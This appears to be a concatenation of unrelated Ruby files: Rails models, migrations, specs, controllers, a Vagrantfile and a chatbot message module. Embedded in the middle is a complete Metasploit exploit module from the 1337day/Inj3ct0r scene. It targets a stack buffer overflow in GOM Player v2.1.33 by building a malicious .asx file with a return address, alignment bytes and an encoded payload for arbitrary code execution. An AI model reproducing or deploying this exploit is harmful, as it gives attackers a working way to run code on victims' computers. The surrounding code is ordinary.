skill_group_id: 9 }, { name: "Servidor", skill_group_id: 9 }, { name: "Status", skill_group_id: 9 }, { name: "Vitalidade", skill_group_id: 10 }, { name: "Força de Vontade", skill_group_id: 11 }, { name: "Moralidade", skill_group_id: 12 }, { name: "Poder Sobrenatural", skill_group_id: 13 }, { name: "Combustível Sobrenatural", skill_group_id: 14 } ] skills.each do |skill| Skill.create skill end
require 'submitorder' describe SubmitOrder do account_sid = 'private' auth_token = 'secret' let(:client) {double(:client)} let(:sendthing) {double(:sendthing)} subject {SubmitOrder.new sendthing, account_sid, auth_token} let(:order) {double(:order)} let(:total1) {10} from_mobile = '+44999999999' to_mobile = '+449999999999' message_body = 'This is a Twillo Test for takeaway challenge' message = {from: from_mobile, to: to_mobile, body: message_body} before(:each) do allow(sendthing).to receive(:new).with(account_sid,auth_token).and_return(client) allow(client).to receive(:send_message=).with(message).and_return("Message sent") allow(order).to receive(:total).and_return(total1) subject.get(order,total1) end context 'submitting an order' do it '#order' do expect(subject.order).to eq order end it '#get' do expect(subject.total).to eq total1 end it '#validated' do expect(subject).to be_validated end it '#submit validated' do expect(subject.submit message).to eq "Order OK and sent expect a text message confirmation" end it '#submit not validated' do allow(order).to receive(:total).and_return(total1+1) expect(subject.submit message ).to eq "Order total incorrect" end end end
class TrialHasManySites < ActiveRecord::Migration def change add_reference :sites, :trial end end
class AddStatusToPurchases < ActiveRecord::Migration def up add_column :purchases, :status, :string add_column :ipn_logs, :ipn_string, :string end def down remove_column :purchases, :status remove_column :ipn_logs, :ipn_string end end
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 I'm KedAns-Dz member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ### # Title : GOM Player v2.1.33 (ASX) Stack Buffer Overflow (MSF) # Author : KedAns-Dz # E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com # Home : Hassi.Messaoud (30500) - Algeria -(00213555248701) # Web Site : www.1337day.com * sec4ever.com * r00tw0rm.com # Facebook : http://facebook.com/KedAns # platform : windows (Local) # Type : stack BOF # Tested on : winXP sp3 (en) ### ## # I'm BaCk fr0m OURHOUD ^__^ .. I m!Ss tHe Explo!tInG <3 <3 ^_* ## ## # | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << | # | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 | # | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h | # | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. | # | ------------------------------------------------- < | ## ## # $Id: $ gomasx_bof.rb | 15/01/2012 00:21 | KedAns-Dz $ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'GOM Player v2.1.33 (ASX) Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in v.2.1.33 creating a specially crafted .asx file, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Debasish Mandal', # Original 'KedAns-Dz <ked-h[at]hotmail.com>' # MSF Module ], 'Version' => 'Version 1.0', 'References' => [ ['URL', 'http://www.1337day.com/exploits/17213' ], # Debasish Mandal ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x0a\x3a", 'StackAdjustment' => -3500, 'DisableNops' => 'True', 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 (En)', { 'Ret' => 0x41584155} ], # push ebp, pop eax ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.asx']), ], self.class) end def exploit pwd = "\x41" # align pwd << [target.ret].pack('V') pwd << "\x05\x11\x11" # add eax,11001100 pwd << "\x41" # align pwd << "\x2d\x10\x11" # sub eax,11001000 pwd << "\x41" * 109 # padding pwd << "\x40\x41\x40" # 2x inc eax pwd << "\x41" # align sploit = "" sploit << "<asx version = '3.0' ><entry><title>ArirangTV</title><ref href = 'WWW." sploit << pwd sploit << payload.encoded sploit << "\xd9\x57" # call ebp - 0x005700d9 sploit << rand_text_alphanumeric(51) sploit << rand_text_alphanumeric(53) sploit << "'/></entry></asx>" ked = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(ked) end end #================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===================================== # Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy .. # + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) # Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * # Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever # Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X # Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX # www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs .. #================================================================================================
class ParticipantstudysiteController < ApplicationController before_action :set_participantstudysite, only: [:show, :edit, :update, :destroy] # GET /participants # GET /participants.json def index @participants = Participant.all end # GET /participants/1 # GET /participants/1.json def show end # GET /participants/new def new @participants = Participant.all @allstudy= Studysite.select("sites.name||' - '||sites.location||'-'||studies.title||'-'||studies.principal_investigator as text,studysites.id as key").joins(:site,:study) #sql = "SELECT studysites.id as id, sites.name ||'-'||studies.title as text FROM studysites # INNER JOIN sites ON sites.id = studysites.site_id INNER JOIN studies # ON studies.id = studysites.study_id" # @allstudy2 = ActiveRecord::Base.connection.execute(sql) end # GET /participants/1/edit def edit end # POST /participants # POST /participants.json def create @participant = Participant.new(participant_params) @studysite = Studysite.where('id = ?', params[:sitestudy]) #@study = Study.where(:title => params[:studysite]) #@allstudy= Studysite.includes(:sites,:studies) respond_to do |format| if @participant.save #@participant.studysites.build @participant.studysites << @studysite format.html { redirect_to @participant, notice: 'Participant was successfully created.' } format.json { render :show, status: :created, location: @participant } else set_studysite format.html { render :new } format.json { render json: @participant.errors, status: :unprocessable_entity } end end end # PATCH/PUT /participants/1 # PATCH/PUT /participants/1.json def update end # DELETE /participants/1 # DELETE /participants/1.json def destroy @participant.studysite.destroy_all @participant.destroy respond_to do |format| format.html { redirect_to participants_url, notice: 'Participant was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_participantstudysite @participantstudysite = Participantstudysite.find(params[:id]) end def set_studysite @sites = Site.joins(:studysites) @studies = Study.joins(:studysites) @allstudy= Studysite.select("sites.name||' - '||sites.location||'-'||studies.title||'-'||studies.principal_investigator as text,studysites.id as key").joins(:site,:study) end # Never trust parameters from the scary internet, only allow the white list through. def participant_params params.require(:participantstudysite).permit(:id, :participant_id, :studysite_id) end end
class UserQuery < ApplicationRecord # validations validates :name, :email, :description, presence: true validates :name, format: { with: /\A[a-zA-Z]+\z/, message: ":Only letters allowed." }, if: "name.present?" # RegEx below for Email might not be perfect validates :email, format: { with: /\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i, message: "Enter a valid email"}, if: "email.present?" validates :mobile, numericality: { only_integer: true }, length: { minimum: 10 }, if: "mobile.present?" end
class FilterProfile < ActiveRecord::Base belongs_to :profile belongs_to :filter validates :profile_id, uniqueness: { scope: [:filter_id] } scope :approved, -> { where(is_approved: true) } end
require 'test_helper' class SiteLayoutTest < ActionDispatch::IntegrationTest test "layout links for guests" do get root_path assert_template 'store/index' assert_select "a[href=?]", root_path, count: 4 end end
require 'spec_helper' describe Event do before(:each) do @venue = FactoryGirl.create(:venue) @attr = { :name => 'Event!', :price => 20, :venue_id => @venue.id } end it "should create a new instance with valid attributes" do event = Event.create!(@attr) end it "should require a name" do missing_something = Event.new(@attr.merge(:name => nil)) missing_something.should_not be_valid end it "should require a price" do missing_something = Event.new(@attr.merge(:price => nil)) missing_something.should_not be_valid end it "should require a venue" do missing_something = Event.new(@attr.merge(:venue_id => nil)) missing_something.should_not be_valid end it "should belong to a venue" do event = Event.create!(@attr) event.venue.should == @venue end end
class AddRegistrationToConvocation < ActiveRecord::Migration[5.2] def change add_reference :convocations, :registration, foreign_key: true remove_reference :convocations, :user, foreign_key: true end end
require 'test_helper' class ItensFaturasControllerTest < ActionDispatch::IntegrationTest setup do @itens_fatura = itens_faturas(:one) end test "should get index" do get itens_faturas_url assert_response :success end test "should get new" do get new_itens_fatura_url assert_response :success end test "should create itens_fatura" do assert_difference('ItensFatura.count') do post itens_faturas_url, params: { itens_fatura: { data_fim: @itens_fatura.data_fim, data_inicio: @itens_fatura.data_inicio, descricao: @itens_fatura.descricao, fatura_id: @itens_fatura.fatura_id, placa: @itens_fatura.placa, valor: @itens_fatura.valor } } end assert_redirected_to itens_fatura_url(ItensFatura.last) end test "should show itens_fatura" do get itens_fatura_url(@itens_fatura) assert_response :success end test "should get edit" do get edit_itens_fatura_url(@itens_fatura) assert_response :success end test "should update itens_fatura" do patch itens_fatura_url(@itens_fatura), params: { itens_fatura: { data_fim: @itens_fatura.data_fim, data_inicio: @itens_fatura.data_inicio, descricao: @itens_fatura.descricao, fatura_id: @itens_fatura.fatura_id, placa: @itens_fatura.placa, valor: @itens_fatura.valor } } assert_redirected_to itens_fatura_url(@itens_fatura) end test "should destroy itens_fatura" do assert_difference('ItensFatura.count', -1) do delete itens_fatura_url(@itens_fatura) end assert_redirected_to itens_faturas_url end end
FactoryBot.define do factory :user do nickname { Faker::Name } email { Faker::Internet.free_email } password { '1a' + Faker::Internet.password(min_length: 6) } password_confirmation { password } last_name { '月面' } first_name { '伊五輪' } last_name_kana { 'アンポ' } first_name_kana { 'サハラカク' } birthday { 19_690_711 } end end
## League Zones ## You should be able to define zones for a league's stats to describe ## things like promotion, relegation or qualification for tournaments class Leaguezone < ActiveRecord::Base include Auditable attr_accessible :league_id, :name, :description, :start_rank, :end_rank, :style belongs_to :league validates :name, :presence => true, :length => { :maximum => 50 } validates :style, :presence => true, :length => { :maximum => 50 } validates :start_rank, :presence => true validates :end_rank, :presence => true validates_numericality_of :start_rank, :greater_than_or_equal_to => 1 validates_numericality_of :end_rank, :greater_than_or_equal_to => 1 validates :league_id, :presence => true STYLES = {"" => "", "zone_up" => "zone_up", "zone_middle" => "zone_middle", "zone_down" => "zone_down"} def self.find_zone_by_position(zones, position) zones.find {|zone| (zone.start_rank..zone.end_rank).include?(position)} end end
template node['grafana']['conf_ini'] do source 'grafana.ini.erb' mode '600' owner node['grafana']['user'] group node['grafana']['group'] notifies :restart, 'service[grafana-server]', :delayed end template "#{node['grafana']['ldap_config_file']}" do source 'ldap.toml.sample.erb' owner node['grafana']['user'] group node['grafana']['group'] mode '0600' notifies :restart, 'service[grafana-server]', :delayed end
ActiveAdmin.register Subcategory do permit_params :title end
# -*- mode: ruby -*- # vi: set ft=ruby :</ruby> # Vagrant è un DSL in Ruby: usa la sintassi del Ruby leggermante modificata VAGRANTFILE_API_VERSION = '2' Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| # Questa linea indica l'immagine di partenza da usare: ho scelto una Debian config.vm.box = 'puphpet/debian75-x64' # Queste due istruzioni creeranno tunnell ssh dalla mia macchina alla machcina virtuale # la prima serve ad aprire l'applicazione nel browser (http://localhost:60000) config.vm.network :forwarded_port, guest: 80, host: 60000 # Questa serve a connettermi al database MySQL che ascolta solo in localhost config.vm.network :forwarded_port, guest: 3306, host: 60006 # Così da avere un uname appropriato: Vagrant non è chiarissimo se non si conoscono bene gli internals config.vm.hostname = 'discipline-watch' config.vm.provider 'virtualbox' do |v| v.name = 'discipline-watch' end # Questo serve per avere il codice sorgente condiviso tra l'host ed il guest e non dover # usare rsync o simili per aggiornare l'applicazione config.vm.synced_folder '../', '/DisciplineWatch' # Le righe seguenti servono ad installare puppet e tutti i moduli necessari in seguito # Il provision 'shell' è il più rozzo, ma mi serve come entry point per utilizzare il più sofisticato puppet # In sostanza qui uso bash per capire se puppet è installarlo e se non lo è installarlo config.vm.provision 'shell', :inline => <<-SHELL if [ `dpkg-query -l puppetlabs-release |& grep ^ii -c` -ne 1 ] || [ `dpkg-query -l puppet |& grep ^ii -c` -ne 1 ]; then cd /tmp/ && wget http://apt.puppetlabs.com/puppetlabs-release-wheezy.deb && dpkg -i ./puppetlabs-release-wheezy.deb apt-get update apt-get install puppet=3.4.3-1puppetlabs1 puppet-common=3.4.3-1puppetlabs1 -y fi SHELL # questa seconda chiamata al provisioning shell verifica che i moduli che mi serviranno per configurare # le applicazioni di supporto (python, mysql, apache etc...) siano presenti config.vm.provision 'shell', :inline => <<-SHELL if [[ -z $(puppet module list |grep willdurand-nodejs) ]] ; then puppet module install puppetlabs-stdlib puppet module install puppetlabs-apache puppet module install puppetlabs-mysql puppet module install puppetlabs-apt puppet module install stankevich-python puppet module install willdurand-nodejs fi SHELL # Lancio puppet che installerà tutti gli altri pacchetti, configurerà il DB etc config.vm.provision :puppet, :module_path => 'modules' do |puppet| puppet.manifests_path = 'manifests' puppet.manifest_file = 'default.pp' end end
json.array!(@materials) do |material| json.extract! material, :id, :title, :point, :strategy, :cers, :promotion json.url material_url(material, format: :json) end
require "spec_helper" require "ostruct" module TephueMemoryRepo describe QuerySolver do let(:solver) { QuerySolver.new(:fake_query) } describe "#solve_condition" do let(:model) { {a: 1, b: 2} } conditions = %w( contains equals greater_than greater_than_or_equal_to less_than less_than_or_equal_to not true ) conditions.each do |condition_name| context "#{condition_name} condition" do let(:condition) { OpenStruct.new(type: condition_name.to_sym )} it "delegates #{condition_name} conditions to ##{condition_name}?" do method = "#{condition_name}?".to_sym allow(solver).to receive(method).and_return true expect(solver).to receive(method).with(condition, model) solver.solve_condition(condition, model) end end end end describe "#solve" do let(:model) { :some_model } let(:query) { OpenStruct.new(clauses: [ OpenStruct.new(type: :equals, field: :a, value: 1), OpenStruct.new(type: :equals, field: :b, value: 2)]) } let(:solver) { QuerySolver.new(query) } it "returns true if #solve_condition is true for all conditions" do allow(solver).to receive(:solve_condition).with(query.clauses[0], model).and_return(true) allow(solver).to receive(:solve_condition).with(query.clauses[1], model).and_return(true) expect(solver.solve(model)).to be true end it "checks every condition if #solve_condition is true for all conditions" do allow(solver).to receive(:solve_condition).with(query.clauses[0], model).and_return(true) allow(solver).to receive(:solve_condition).with(query.clauses[1], model).and_return(true) solver.solve(model) expect(solver).to have_received(:solve_condition).with(query.clauses[0], model) expect(solver).to have_received(:solve_condition).with(query.clauses[1], model) end it "returns false if #solve_condition is false for any condition" do allow(solver).to receive(:solve_condition).with(query.clauses[0], model).and_return(true) allow(solver).to receive(:solve_condition).with(query.clauses[1], model).and_return(false) expect(solver.solve(model)).to be false end it "stops working once a false condition is encountered" do allow(solver).to receive(:solve_condition).with(query.clauses[0], model).and_return(false) allow(solver).to receive(:solve_condition).with(query.clauses[1], model).and_return(true) solver.solve(model) expect(solver).to have_received(:solve_condition).once end end describe "#filter" do let(:models) { [:a, :b, :c, :d, :e] } it "returns each model that passes the query" do allow(solver).to receive(:solve).with(:a).and_return false allow(solver).to receive(:solve).with(:b).and_return true allow(solver).to receive(:solve).with(:c).and_return true allow(solver).to receive(:solve).with(:d).and_return false allow(solver).to receive(:solve).with(:e).and_return false expect(solver.filter(models)).to eql([:b, :c]) end it "returns [] when no models given" do expect(solver.filter([])).to eql([]) end it "returns [] when there are no matches" do allow(solver).to receive(:solve).with(:a).and_return false allow(solver).to receive(:solve).with(:b).and_return false allow(solver).to receive(:solve).with(:c).and_return false allow(solver).to receive(:solve).with(:d).and_return false allow(solver).to receive(:solve).with(:e).and_return false expect(solver.filter(models)).to eql([]) end end describe "#contains?" do let(:condition) { OpenStruct.new(field: :a, container: [10, 1, "foo", 5] ) } let(:condition_with_nil) { OpenStruct.new(field: :a, container: [10, 1, "foo", 5, nil] ) } let(:contained_model) { {a: 5, b: 7, c: 1} } let(:uncontained_model) { {a: 2, b: "b", c: 1} } let(:fieldless_model) { {b: 10} } it "is true when model[condition.field] is in condition.container" do expect(solver.contains?(condition, contained_model)).to be true end it "is false when model[condition.field] is not in condition.container" do expect(solver.contains?(condition, uncontained_model)).to be false end it "is false when the model does not have condition.field" do expect(solver.contains?(condition, fieldless_model)).to be false end it "is false when the model does not have condition.field even if container includes nil" do expect(solver.contains?(condition_with_nil, fieldless_model)).to be false end end describe "#equals?" do let(:condition) { OpenStruct.new(field: :b, value: 77) } let(:condition_with_nil) { OpenStruct.new(field: :b, value: nil) } let(:equal_model) { {a: 1, b: 77, c: 1234} } let(:unequal_model) { {a: 77, b: 777} } let(:fieldless_model) { {a: 77} } it "is true when model[condition.field] == value" do expect(solver.equals?(condition, equal_model)).to be true end it "is false when model[condition.field] != value" do expect(solver.equals?(condition, unequal_model)).to be false end it "is true if model[condition.field] and value are both nil" do expect(solver.equals?(condition_with_nil, {b: nil} )).to be true end it "is false when the model does not have condition.field" do expect(solver.equals?(condition, fieldless_model)).to be false end it "is false when the model does not have condition.field even if value is nil" do expect(solver.equals?(condition_with_nil, fieldless_model)).to be false end end describe "#greater_than?" do let(:condition) { OpenStruct.new(field: :a, value: 25) } let(:condition_with_nil) { OpenStruct.new(field: :a, value: nil) } let(:greater_model) { {a: 30, b: 24} } let(:equal_model) { {a: 25, b: 27} } let(:less_model) { {a: 2, b: 25} } let(:fieldless_model) { {b: 33} } it "is true when model[condition.field] > value" do expect(solver.greater_than?(condition, greater_model)).to be true end it "is false when model[condition.field] == value" do expect(solver.greater_than?(condition, equal_model)).to be false end it "is false when model[condition.field] < value" do expect(solver.greater_than?(condition, less_model)).to be false end it "is false when model does not have condition.field" do expect(solver.greater_than?(condition, fieldless_model)).to be false end it "is false when the model does not have condition.field even if value is nil" do expect(solver.greater_than?(condition_with_nil, fieldless_model)).to be false end end describe "#greater_than_or_equal_to?" do let(:condition) { OpenStruct.new(field: :a, value: 25) } let(:condition_with_nil) { OpenStruct.new(field: :a, value: nil) } let(:greater_model) { {a: 30, b: 24} } let(:equal_model) { {a: 25, b: 27} } let(:less_model) { {a: 2, b: 25} } let(:fieldless_model) { {b: 33} } it "is true when model[condition.field] > value" do expect(solver.greater_than_or_equal_to?(condition, greater_model)).to be true end it "is true when model[condition.field] == value" do expect(solver.greater_than_or_equal_to?(condition, equal_model)).to be true end it "is false when model[condition.field] < value" do expect(solver.greater_than_or_equal_to?(condition, less_model)).to be false end it "is false when model does not have condition.field" do expect(solver.greater_than_or_equal_to?(condition, fieldless_model)).to be false end it "is false when the model does not have condition.field even if value is nil" do expect(solver.greater_than_or_equal_to?(condition_with_nil, fieldless_model)).to be false end end describe "#less_than?" do let(:condition) { OpenStruct.new(field: :a, value: 25) } let(:condition_with_nil) { OpenStruct.new(field: :a, value: nil) } let(:greater_model) { {a: 30, b: 24} } let(:equal_model) { {a: 25, b: 27} } let(:less_model) { {a: 2, b: 25} } let(:fieldless_model) { {b: 33} } it "is false when model[condition.field] > value" do expect(solver.less_than?(condition, greater_model)).to be false end it "is false when model[condition.field] == value" do expect(solver.less_than?(condition, equal_model)).to be false end it "is true when model[condition.field] < value" do expect(solver.less_than?(condition, less_model)).to be true end it "is false when model does not have condition.field" do expect(solver.less_than?(condition, fieldless_model)).to be false end it "is false when the model does not have condition.field even if value is nil" do expect(solver.less_than?(condition_with_nil, fieldless_model)).to be false end end describe "#less_than_or_equal_to?" do let(:condition) { OpenStruct.new(field: :a, value: 25) } let(:condition_with_nil) { OpenStruct.new(field: :a, value: nil) } let(:greater_model) { {a: 30, b: 24} } let(:equal_model) { {a: 25, b: 27} } let(:less_model) { {a: 2, b: 25} } let(:fieldless_model) { {b: 33} } it "is false when model[condition.field] > value" do expect(solver.less_than_or_equal_to?(condition, greater_model)).to be false end it "is true when model[condition.field] == value" do expect(solver.less_than_or_equal_to?(condition, equal_model)).to be true end it "is true when model[condition.field] < value" do expect(solver.less_than_or_equal_to?(condition, less_model)).to be true end it "is false when model does not have condition.field" do expect(solver.less_than_or_equal_to?(condition, fieldless_model)).to be false end it "is false when the model does not have condition.field even if value is nil" do expect(solver.less_than_or_equal_to?(condition_with_nil, fieldless_model)).to be false end end describe "#not?" do let(:condition) { OpenStruct.new(condition: :some_condition) } let(:model) { {a: :b} } it "is true when #solve(condition.condition) is false" do allow(solver).to receive(:solve_condition).with(condition.condition, model).and_return false expect(solver.not?(condition, model)).to be true end it "is false when #solve(condition.condition) is true" do allow(solver).to receive(:solve_condition).with(condition.condition, model).and_return true expect(solver.not?(condition, model)).to be false end end describe "#true?" do it "is true" do expect(solver.true?(:some_condition, :some_model)).to be true end end end end
class RatingPeriod < ApplicationRecord belongs_to :tournament has_many :ratings, :dependent => :destroy validates_presence_of :tournament_id, :period_at validates_uniqueness_of :period_at, :scope => :tournament_id def previous_rating_period @previous_rating_period ||= tournament.rating_periods. where('rating_periods.period_at < ?', period_at). order('rating_periods.period_at DESC').first end def games tournament.games.confirmed_between(previous_rating_period.period_at, period_at) end def process! return unless previous_rating_period transaction do tournament.lock! lock! period = glicko2_rating_period_with_games new_period = period.generate_next(0.5) new_period.players.each do |player| player.update_obj rating = ratings.find_or_initialize_by(:player_id => player.obj.player_id) rating.rating = player.obj.rating rating.rating_deviation = player.obj.rating_deviation rating.volatility = player.obj.volatility rating.save! end end end def update_player_positions! return if tournament.instantly_ranked? transaction do tournament.lock! lock! position = 0 previous_rank = nil ratings.sort_by{ |rating| rating.low_rank.round }.reverse.each do |rating| if rating.player.active?(period_at) position += 1 if rating.low_rank.round != previous_rank previous_rank = rating.low_rank.round rating.player.update_attributes!(:position => position) else rating.player.update_attributes!(:position => nil) end end end end private def glicko2_rating_period_with_games period = Glicko2::RatingPeriod.from_objs(previous_rating_period.ratings) games.each do |game| ratings_for_game = previous_rating_period.ratings.for_game(game) period.game ratings_for_game, ratings_for_game.map(&:position) end period end end
class DashboardsController < ApplicationController skip_after_action :verify_authorized, only: :show after_action :verify_policy_scoped, only: :show def show @categories = policy_scope(Category) # authorize :dashboard, :show? # @categories = Category.all #authorize @categories end end
module Events module Card class ChangedTitle < Base::Event attr_reader :id, :board_id, :title def initialize(id:, board_id:, title:) super(id:) @board_id = board_id @title = title end end end end
module Onebox module Engine class GooglePresentationOnebox include Engine include LayoutSupport include HTML matches_regexp(/^(?<reference>http(s)?:\/\/docs\.google\.com\/(\S)*presentation\/d\/(\S)*\/)(\S)*/) def to_html "<iframe src=\"#{reference}embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"960\" height=\"569\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\"></iframe>" end def reference @reference || @@matcher.match(@url)['reference'] end def data { url: @url } end end end end
# frozen_string_literal: true require "dry/logic/predicates" RSpec.describe Dry::Logic::Predicates do it "can be included in another module" do mod = Module.new { include Dry::Logic::Predicates } expect(mod[:key?]).to be_a(Method) end describe ".predicate" do it "defines a predicate method" do mod = Module.new { include Dry::Logic::Predicates predicate(:test?) do |foo| true end } expect(mod.test?("arg")).to be(true) end end describe ".respond_to?" do it "works with a just the method name" do expect(Dry::Logic::Predicates.respond_to?(:predicate)).to be(true) expect(Dry::Logic::Predicates.respond_to?(:not_here)).to be(false) end end describe ".eql?" do it "works with another object to compare to" do expect(Dry::Logic::Predicates.eql?(Dry::Logic::Predicates)).to be(true) expect(Dry::Logic::Predicates.eql?("something else")).to be(false) end end end
class AddPlayerIdToSubstituteAppearances < ActiveRecord::Migration[5.1] def change add_column :substitute_appearances, :player_id, :integer add_column :substitute_appearances, :match_id, :integer add_column :substitute_appearances, :opponent_team_id, :integer end end
#require "asciiart/version" # This was code from a gem I wanted to use but I couldn't get the gem to work so # I copied the code that I wanted from it. It converts images into ASCII art! #require 'rmagick' #require 'uri' #require 'open-uri' #require 'rainbow' #require 'rainbow/ext/string' class AsciiArt attr_writer :image_chars def initialize(path_to_file) # open-uri open will fallback to IO open open(path_to_file) { |file| @data = file.read } self end def to_ascii_art(options = {}) options = { width: 100, color: false, format: "text" }.merge(options) img = Magick::Image.from_blob(@data).first width = options[:width] scale = (width.to_f / img.columns) height = ((img.rows * scale) / 2).to_i img.resize!(width, height) color_image = img.dup if options[:color] img = img.quantize(image_chars.length, Magick::GRAYColorspace).normalize quantum_calc = Magick::QuantumRange / Magick::QuantumPixel.to_i image_chars.map! {|char| char == " " ? "&nbsp;" : char } if options[:format] == "html" border = "+#{'-' * width}+#{line_break(options[:format])}" border = html_char(border) if options[:format] == "html" output = border.dup img.view(0, 0, width, height) do |view| height.times do |i| output << '|' width.times do |j| character = image_chars[view[i][j].red/quantum_calc] if options[:format] == "html" if (options[:color]) pix = color_image.pixel_color(j,i) color_string = "color: #{pix.to_color( Magick::AllCompliance,false,8, true)};" else color_string = "" end character = html_char(character, color_string) else # text-format if options[:color] pix = color_image.pixel_color(j,i) character = character.color(unified_rgb_value(pix.red), unified_rgb_value(pix.green), unified_rgb_value(pix.blue)) end end output << character end output << "|#{line_break(options[:format])}" end end output + border end def image_chars @image_chars ||= ' .~:+=o*x^%#@$MW'.chars.to_a end def inspect "#<#{self.class.to_s}>" end private def line_break(format) (format == "text") ? "\n" : "<br/>" end def unified_rgb_value(number) if defined?(Magick::QuantumDepth) return (Magick::QuantumDepth == 16) ? (number / 256) : number else return (Magick::QuantumRange == 65535) ? (number / 256) : number end end def html_char(char, additional_style = "") "<span style=\"font-family: 'Lucida Console', Monaco, monospace; #{additional_style}\">#{char}</span>" end end
class Site::PagesController < ApplicationController before_filter :init def init @root = Page.find_root @first_children = Page.first_children @links = ShortLink.published end def index @page = params[:code] ? Page.published(params[:code]) : @root render_page end def preview self.class.class_eval "include AuthenticatedSystem" if authorized? @page = params[:id] ? Page.find_by_id(params[:id]) : @root @page_preview = true @lokalizer = [ {:title => 'Podgląd strony', :link => false} ] render_page else access_denied end end def sitemap @page = @root @page.layout.system_name = "subpage" @title = "Mapa serwisu" @lokalizer = [ {:title => 'Mapa serwisu', :link => sitemap_path} ] render :template => "site/sitemap", :layout => 'site/subpage' end def search @page = @root @page.layout.system_name = "subpage" @title = "Wyszukiwarka" @result = SearchIndex.find_content(params[:search_phrase]) @lokalizer = [ {:title => 'Wyszukiwarka', :link => false} ] render :template => 'site/search', :layout => 'site/subpage' end def _404 @page = @root @title = "404" @lokalizer = [ {:title => '404', :link => false} ] render :template => 'site/_404', :layout => 'site/subpage' end def rescue_action_in_public(exception) _404 end private def parse_page_params params[:action_code] = params[:action_code].downcase.to_sym if params[:action_code] if params[:page_params] params[:page_params].each do |param_str| if param_str.match(':') key, value = param_str.split(':') params[key.downcase.to_sym] = value else params[:id] = param_str end end params.delete :page_params end end def go_to_content_extenstion(content_type) self.extend("#{content_type}ContentExtension".constantize) append_view_path("#{RAILS_ROOT}/app/views/content_types/#{content_type.downcase}/site") parse_page_params init_extension end def render_page self.class.class_eval "layout \"site/#{@page.layout ? @page.layout.system_name : 'main'}\"" if @page.layout.system_name == 'main' @news_collection = News.published.latest(7) end go_to_content_extenstion(@page.content_type) end end
require_relative '../lib/board' require 'pry' describe Board do let(:valid_board_string) { '1XXX2XXX3XXX4XXX' } it 'must be initialized with a string with N2xN2 length' do expect { Board.new('1XXX') }.to raise_error 'Invalid Board' expect { Board.new(valid_board_string) }.to_not raise_error end it 'splits the string into an array of arrays' do board = Board.new(valid_board_string) expect(board.array.length).to be 4 expect(board.array.first.length).to be 4 end end
# frozen_string_literal: true module Gauss # Gauss::Messages - save all the cmds for gauss module Commands REQUESTS = { reload: ['Load'], help: ['Help'], fetch_product: ['Give me'], inventory: ['What do you have?'], process_transaction: ['Take'] }.freeze end module Messages WELCOME = <<-STR Hi I'm Gauss 👋, Here's how I can help you: - CMD: 'What do you have?' - I'll show you all the items in stock/and their prices - CMD: 'Give me '{{ name of product,quantity }}' - I'll tell you the price and subsequently ask you for the amount of money - CMD: 'Take {{ amount of money (1.2, 0.2£, 1.3) }}' - I'll try to get the item for you if enough money is provided else ---\__(o_o)__/-- - CMD: 'Help': I'll share this again - CMD: 'Load': I'll reset the records and sync with what's in the csv What would you like to do? STR CHANGE_INFO = <<-STR **Here's your change** STR INVALID_CMD = <<-STR **Sorry I dont understand that command** STR LOAD_SUCCESS = <<-STR **Successfully loaded products and changes** STR RECORD_NOT_FOUND = <<-STR **Sorry there's no record matching that input** STR NO_PRODUCT = <<-STR Can not proceed withoutt selectting a procutt STR 